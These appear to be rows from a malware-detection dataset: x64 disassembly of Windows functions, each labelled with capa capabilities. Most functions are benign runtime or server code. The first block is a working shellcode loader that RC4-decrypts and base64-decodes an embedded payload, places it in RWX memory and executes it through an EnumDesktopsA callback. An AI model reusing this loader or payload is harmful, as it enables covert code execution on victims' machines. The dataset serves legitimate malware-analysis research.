joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011ac0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push rbx
sub rsp, 0x40
movups xmmword [rsp], xmm6
movups xmmword [rsp + 0x10], xmm7
movups xmmword [rsp + 0x20], xmm8
movups xmmword [rsp + 0x30], xmm9
movdqu xmm3, xmmword [0x140015340]
movdqu xmm9, xmmword [0x140015350]
movdqu xmm7, xmmword [str._b_b_b_b_f_f_f_f]
movdqu xmm6, xmmword [0x140015380]
movdqu xmm8, xmmword [0x140015360]
movdqu xmm5, xmmword [0x140015390]
mov rbx, rdx
mov r9, rcx
lea rdx, [rcx + 0x100]
mov rax, rcx
nop dword [rax]
movdqu xmm2, xmm3
add rax, 0x10
paddd xmm3, xmm9
movdqu xmm4, xmm2
movdqu xmm1, xmm2
movdqu xmm0, xmm2
paddd xmm4, xmm8
punpcklwd xmm1, xmm4
punpckhwd xmm0, xmm4
movdqu xmm4, xmm1
punpcklwd xmm1, xmm0
punpckhwd xmm4, xmm0
movdqu xmm0, xmm2
paddd xmm2, xmm6
paddd xmm0, xmm7
punpcklwd xmm1, xmm4
movdqu xmm4, xmm0
punpcklwd xmm0, xmm2
pand xmm1, xmm5
punpckhwd xmm4, xmm2
movdqu xmm2, xmm0
punpckhwd xmm2, xmm4
punpcklwd xmm0, xmm4
punpcklwd xmm0, xmm2
pand xmm0, xmm5
packuswb xmm1, xmm0
movups xmmword [rax - 0x10], xmm1
cmp rax, rdx
jne 0x140011b20
xor ecx, ecx
xor r11d, r11d
nop dword [rax + rax]
mov eax, ecx
movzx r10d, byte [r9 + rcx]
cdq
idiv r8d
movsxd rdx, edx
movzx eax, byte [rbx + rdx]
add eax, r10d
add eax, r11d
movzx r11d, al
movzx eax, al
add rax, r9
movzx edx, byte [rax]
mov byte [r9 + rcx], dl
add rcx, 1
mov byte [rax], r10b
cmp rcx, 0x100
jne 0x140011ba0
movups xmm6, xmmword [rsp]
movups xmm7, xmmword [rsp + 0x10]
movups xmm8, xmmword [rsp + 0x20]
movups xmm9, xmmword [rsp + 0x30]
add rsp, 0x40
pop rbx
ret

Function at 0x140011c00
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x128
mov esi, dword [rsp + 0x170]
lea rbp, [rsp + 0x20]
mov rbx, rcx
mov rdi, rdx
mov rdx, r8
mov rcx, rbp
mov r8d, r9d
call fcn.140011ac0
mov edx, esi
mov rcx, rbp
call fcn.140011cb0
test esi, esi
je 0x140011ca0
xor edx, edx
nop dword [rax + rax]
movzx ecx, byte [rbx + rdx]
xor cl, byte [rax + rdx]
mov byte [rdi + rdx], cl
add rdx, 1
cmp rsi, rdx
jne 0x140011c40
lea rcx, str._______ciphertext____________n
mov rbx, rdi
add rsi, rdi
call fcn.140011d40
lea rbp, str._02hhx_t
nop dword [rax]
movzx edx, byte [rbx]
mov rcx, rbp
add rbx, 1
call fcn.140011d40
cmp rsi, rbx
jne 0x140011c70
lea rcx, [0x140015026]
call fcn.140011d40
mov rax, rdi
add rsp, 0x128
pop rbx
pop rsi
pop rdi
pop rbp
ret
lea rcx, str._______ciphertext____________n
call fcn.140011d40
jmp 0x140011c84

Function at 0x140011d90
Capabilities:
Decode data using base64 via winapi

Disassembly:
sub rsp, 0x58
lea rax, [rsp + 0x4c]
mov dword [rsp + 0x4c], r9d
mov r9, r8
mov r8d, 1
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x140011dcc
mov eax, dword [rsp + 0x4c]
add rsp, 0x58
ret

Function at 0x140013950
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x140014180]
jmp 0x14000c110

Function at 0x140013960
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x140014180]
jmp 0x14000c110
Function at 0x140013ad0
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1b8
lea rsi, [0x1400151c0]
call fcn.14000a5f0
mov ecx, 0x170
lea rdi, [rsp + 0x30]
call sub.msvcrt.dll_malloc
mov dword [rsp + 0x20], 0x170
mov r9d, 3
lea r8, [0x140015029]
mov rdx, rax
lea rcx, str._EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI_8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIgwgQVL_4FhBWVpIixLpV____11IugEAAAAAAAAASI2NAQEAAEG6MYtvh__Vu_C1olZBuqaVvZ3_1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v_VY2FsYy5leGUA
call fcn.140011c00
mov ecx, 0x2e
rep movsq qword [rdi], qword [rsi]
mov ecx, 0x170
movzx eax, byte [rsi]
mov byte [rdi], al
call sub.msvcrt.dll_malloc
mov r9d, 3
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x20], 0x170
lea r8, [0x140015029]
mov rdx, rax
mov rsi, rax
call fcn.140011c00
mov ecx, 0x200
call sub.msvcrt.dll_malloc
mov rcx, rsi
mov r9d, 0x200
mov edx, 0x200
mov r8, rax
mov rbx, rax
call fcn.140011d90
mov ecx, 0x113
call fcn.1400134f0
mov rsi, rax
xor eax, eax
nop dword [rax + rax]
movzx edx, byte [rbx + rax]
mov byte [rsi + rax], dl
add rax, 1
cmp rax, 0x113
jne 0x140013b90
lea rcx, str._________payload__________n
mov rbx, rsi
lea rbp, [rsi + 0x113]
call fcn.140011d40
lea rdi, str._02hhx_t
movzx edx, byte [rbx]
mov rcx, rdi
add rbx, 1
call fcn.140011d40
cmp rbp, rbx
jne 0x140013bc0
lea rcx, [0x140015026]
call fcn.140011d40
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
mov edx, 0x114
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov rax, qword [rsi]
lea rdi, [rbx + 8]
mov qword [rbx], rax
mov rax, qword [rsi + 0x10b]
and rdi, 0xfffffffffffffff8
mov qword [rbx + 0x10b], rax
mov rax, rbx
sub rax, rdi
sub rsi, rax
add eax, 0x113
shr eax, 3
mov ecx, eax
rep movsq qword [rdi], qword [rsi]
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumDesktopsA]
xor eax, eax
add rsp, 0x1b8
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x140134482
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x140181760
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x140537d92]
call fcn.14013aa58
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x270
jne 0x14018179c
mov rcx, qword [rbp + 0x100]
call fcn.14013484c
jmp 0x1401817b7
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x4e0
jb 0x1401817b7
mov rcx, qword [rbp + 0x100]
call fcn.140136ba6
mov rax, qword [rbp + 0x100]
mov eax, dword [rax]
mov rcx, qword [rbp + 0x100]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rbp + 0xd4], eax
mov rax, qword [rbp + 0x100]
mov eax, dword [rax]
inc eax
mov rcx, qword [rbp + 0x100]
mov dword [rcx], eax
mov eax, dword [rbp + 0xd4]
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shr eax, 0xb
mov rcx, qword [rbp + 0x100]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shr eax, 0x12
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x1401344f5
Capabilities:
Hash data using fnv

Disassembly:
jmp 0x140156fd0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x140537210]
call fcn.14013aa58
mov qword [rbp + 8], 0
jmp 0x14015700e
mov rax, qword [rbp + 8]
inc rax
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x110]
cmp qword [rbp + 8], rax
jae 0x140157064
mov rax, qword [rbp + 8]
mov rcx, qword [rbp + 0x108]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov rcx, qword [rbp + 0x100]
xor rcx, rax
mov rax, rcx
mov qword [rbp + 0x100], rax
movabs rax, 0x100000001b3
mov rcx, qword [rbp + 0x100]
imul rcx, rax
mov rax, rcx
mov qword [rbp + 0x100], rax
jmp 0x140157003
mov rax, qword [rbp + 0x100]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x1401364e9
Capabilities:
Get common file path

Disassembly:
jmp 0x140358990
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rdx, qword [rsp + 0x38]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
add rsp, 0x28
ret

Function at 0x1401366c4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1402aa630
mov rax, rcx
neg rcx
test rax, 7
je 0x1402aa64d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x1402aa6a8
test al, 7
jne 0x1402aa640
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x1402aa661
mov rdx, qword [rax - 8]
test dl, dl
je 0x1402aa6d2
test dh, dh
je 0x1402aa6cc
shr rdx, 0x10
test dl, dl
je 0x1402aa6c6
test dh, dh
je 0x1402aa6c0
shr rdx, 0x10
test dl, dl
je 0x1402aa6ba
test dh, dh
je 0x1402aa6b4
shr edx, 0x10
test dl, dl
je 0x1402aa6ae
test dh, dh
jne 0x1402aa661
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x140136700
Capabilities:
Query environment variable

Disassembly:
jmp 0x140385e90
sub rsp, 0x78
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.140385a10
lea rcx, [rsp + 0x20]
call fcn.140385a60
movzx eax, al
test eax, eax
jne 0x140385ed5
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0x20]
call fcn.140385a40
mov rax, qword [rsp + 0x40]
jmp 0x140385fcf
lea rcx, [rsp + 0x20]
call fcn.140385b60
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.140385b00
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r9d, 0x40
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, rax
call fcn.140136c50
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.140135d46
lea rcx, [rsp + 0x28]
call fcn.140137349
movzx eax, al
test eax, eax
jne 0x140385f6f
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x28]
call fcn.140139167
lea rcx, [rsp + 0x20]
call fcn.140385a40
mov rax, qword [rsp + 0x50]
jmp 0x140385fcf
lea rcx, [rsp + 0x20]
call fcn.140385b60
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x28]
call fcn.14013a8c3
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r8, rax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call fcn.140136b24
lea rcx, [rsp + 0x28]
call fcn.14013b6f1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x28]
call fcn.140139167
lea rcx, [rsp + 0x20]
call fcn.140385a40
mov rax, qword [rsp + 0x68]
add rsp, 0x78
ret
Function at 0x140136a39
Capabilities:
Reference sql statements

Disassembly:
jmp 0x14014e3c0
mov dword [rsp + 8], ecx
push rbp
push rbx
push rsi
push rdi
sub rsp, 0x198
lea rbp, [rsp + 0x70]
lea rdi, [rsp + 0x70]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1c8]
lea rcx, reloc.WS2_32.dll_accept
call fcn.14013aa58
lea rax, [rbp + 0x150]
mov qword [rbp + 8], rax
mov qword [rbp + 0x28], 0
movzx eax, byte [0x14044a1a4]
test eax, eax
jne 0x14014e41d
xor al, al
jmp 0x14014e5b3
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 8]
movzx eax, byte [rcx + rax]
mov ecx, 1
imul rcx, rcx, 1
mov rdx, qword [rbp + 8]
movzx ecx, byte [rdx + rcx]
mov edx, 1
imul rdx, rdx, 2
mov r8, qword [rbp + 8]
movzx edx, byte [r8 + rdx]
mov r8d, 1
imul r8, r8, 3
mov r9, qword [rbp + 8]
movzx r8d, byte [r9 + r8]
mov r9d, 1
imul r9, r9, 1
mov r10, qword [rbp + 8]
movzx r9d, byte [r10 + r9]
mov r10d, 1
imul r10, r10, 2
mov r11, qword [rbp + 8]
movzx r10d, byte [r11 + r10]
mov r11d, 1
imul r11, r11, 3
mov rbx, qword [rbp + 8]
movzx ebx, byte [rbx + r11]
mov r11d, 1
imul r11, r11, 2
mov rdi, qword [rbp + 8]
movzx edi, byte [rdi + r11]
mov r11d, 1
imul r11, r11, 3
mov rsi, qword [rbp + 8]
movzx esi, byte [rsi + r11]
mov dword [rbp + 0x114], esi
mov r11d, 1
imul r11, r11, 3
mov rsi, qword [rbp + 8]
movzx esi, byte [rsi + r11]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x58], ecx
mov dword [rsp + 0x50], edx
mov dword [rsp + 0x48], r8d
mov dword [rsp + 0x40], r9d
mov dword [rsp + 0x38], r10d
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], edi
mov eax, dword [rbp + 0x114]
mov dword [rsp + 0x20], eax
mov r9d, esi
lea r8, str.ipbanlist
lea rdx, str.SELECT_count___FROM___s__WHERE__rtime____NOW___AND___list____u..._OR__list____u._u.._OR__list____u._u._u._OR__list____u._u._u._u_
mov rcx, qword [0x14044a088]
call fcn.14013670a
cmp eax, 0xffffffff
jne 0x14014e54e
mov eax, dword [str._Gc]
add eax, 0xb
mov r8d, eax
lea rdx, str.C:Users_rafae_repos_rathena_srcloginipban.cpp
mov rcx, qword [0x14044a088]
call fcn.140136372
mov al, 1
jmp 0x14014e5b3
mov rcx, qword [0x14044a088]
call fcn.14013402c
cmp eax, 0xffffffff
jne 0x14014e563
mov al, 1
jmp 0x14014e5b3
xor r9d, r9d
lea r8, [rbp + 0x28]
xor edx, edx
mov rcx, qword [0x14044a088]
call fcn.140134b30
mov rcx, qword [rbp + 0x28]
call fcn.140134374
mov dword [rbp + 0x44], eax
mov rcx, qword [0x14044a088]
call fcn.140133abe
cmp dword [rbp + 0x44], 0
jle 0x14014e5a2
mov dword [rbp + 0x114], 1
jmp 0x14014e5ac
mov dword [rbp + 0x114], 0
movzx eax, byte [rbp + 0x114]
mov rdi, rax
lea rcx, [rbp - 0x70]
lea rdx, reloc.WS2_32.dll_accept
call fcn.1401394d7
mov rax, rdi
lea rsp, [rbp + 0x128]
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140136ba6
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x140181cc0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x20]
lea rcx, [0x140537d92]
call fcn.14013aa58
mov qword [rbp + 8], 0x26f
mov qword [rbp + 0x28], 0xe3
mov qword [rbp + 0x48], 0
jmp 0x140181d04
mov rax, qword [rbp + 0x48]
inc rax
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0xe3
jae 0x140181d95
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x48]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
and eax, 1
test eax, eax
je 0x140181d5a
mov dword [rbp + 0x1b4], 0x9908b0df
jmp 0x140181d64
mov dword [rbp + 0x1b4], 0
mov eax, dword [rbp + 0x64]
shr eax, 1
xor eax, dword [rbp + 0x1b4]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
xor eax, dword [rcx + rdx*4 + 0xff8]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x140181cf9
mov qword [rbp + 0x88], 0xe3
jmp 0x140181db3
mov rax, qword [rbp + 0x88]
inc rax
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0x26f
jae 0x140181e5c
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x88]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x88]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rbp + 0xa4], eax
mov eax, dword [rbp + 0xa4]
and eax, 1
test eax, eax
je 0x140181e18
mov dword [rbp + 0x1b4], 0x9908b0df
jmp 0x140181e22
mov dword [rbp + 0x1b4], 0
mov eax, dword [rbp + 0xa4]
shr eax, 1
xor eax, dword [rbp + 0x1b4]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x88]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x88]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x140181da2
mov qword [rbp + 0xc8], 0x26f
mov eax, 4
imul rax, rax, 0x4df
mov rcx, qword [rbp + 0x1e0]
mov eax, dword [rcx + rax + 4]
and eax, 0x80000000
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x1e0]
mov ecx, dword [rdx + rcx + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rbp + 0xe4], eax
mov eax, dword [rbp + 0xe4]
and eax, 1
test eax, eax
je 0x140181ebc
mov dword [rbp + 0x1b4], 0x9908b0df
jmp 0x140181ec6
mov dword [rbp + 0x1b4], 0
mov eax, dword [rbp + 0xe4]
shr eax, 1
xor eax, dword [rbp + 0x1b4]
mov ecx, 4
imul rcx, rcx, 0x18c
mov rdx, qword [rbp + 0x1e0]
xor eax, dword [rdx + rcx + 4]
mov ecx, 4
imul rcx, rcx, 0x26f
mov rdx, qword [rbp + 0x1e0]
mov dword [rdx + rcx + 4], eax
mov rax, qword [rbp + 0x1e0]
mov dword [rax], 0
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret
Function at 0x140136e5d
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x1402a5ee0
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1402a5860
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1402a5f1f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x140539020]
jmp 0x1402a5f29
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x14013721d
Capabilities:
Query environment variable

Disassembly:
jmp 0x140385be0
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140385a10
lea rcx, [rsp + 0x40]
call fcn.140385b90
movzx eax, al
test eax, eax
jne 0x140385c28
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.140385a40
mov rax, qword [rsp + 0x70]
jmp 0x140385df9
lea rcx, [rsp + 0x40]
call fcn.140385b60
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.140385b00
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.140385b60
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.140138bd6
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x140385cce
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.140385a40
mov rax, qword [rsp + 0x80]
jmp 0x140385df9
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.140136c50
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140136903
lea rcx, [rsp + 0x48]
call fcn.140136075
movzx eax, al
test eax, eax
jne 0x140385d35
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.1401342de
lea rcx, [rsp + 0x40]
call fcn.140385a40
mov rax, qword [rsp + 0x88]
jmp 0x140385df9
lea rcx, [rsp + 0x48]
call fcn.14013797a
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.140385b60
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.140138bd6
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x140385dcb
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.1401342de
lea rcx, [rsp + 0x40]
call fcn.140385a40
mov rax, qword [rsp + 0xa0]
jmp 0x140385df9
lea rcx, [rsp + 0x48]
call fcn.1401368a4
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.1401342de
lea rcx, [rsp + 0x40]
call fcn.140385a40
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x14013723b
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x1402a5e10
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.1402a57e0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1402a5e51
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x140539020]
jmp 0x1402a5e57
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x140137353
Capabilities:
Get geographical location

Disassembly:
jmp 0x140369360
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.1403682d0
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1403693c7
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x140539030]
jmp 0x1403693e9
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.140135fcb
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x140137371
Capabilities:
Terminate process

Disassembly:
jmp 0x140281360
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1401378b2
Capabilities:
Print debug messages

Disassembly:
jmp 0x1403908c0
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x140447638]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x1403908e6
jmp 0x140390963
mov rcx, qword [rbp + 0x30]
call fcn.1401366c4
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x1403908ff
jmp 0x140390963
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x14039091c
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1401345ea
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.140134f13
test eax, eax
jne 0x140390963
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.140136af2
lea rsp, [rbp + 0x20]
pop rbp
ret
Function at 0x140137ee8
Capabilities:
Set environment variable

Disassembly:
jmp 0x140387d40
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
add rsp, 0x28
ret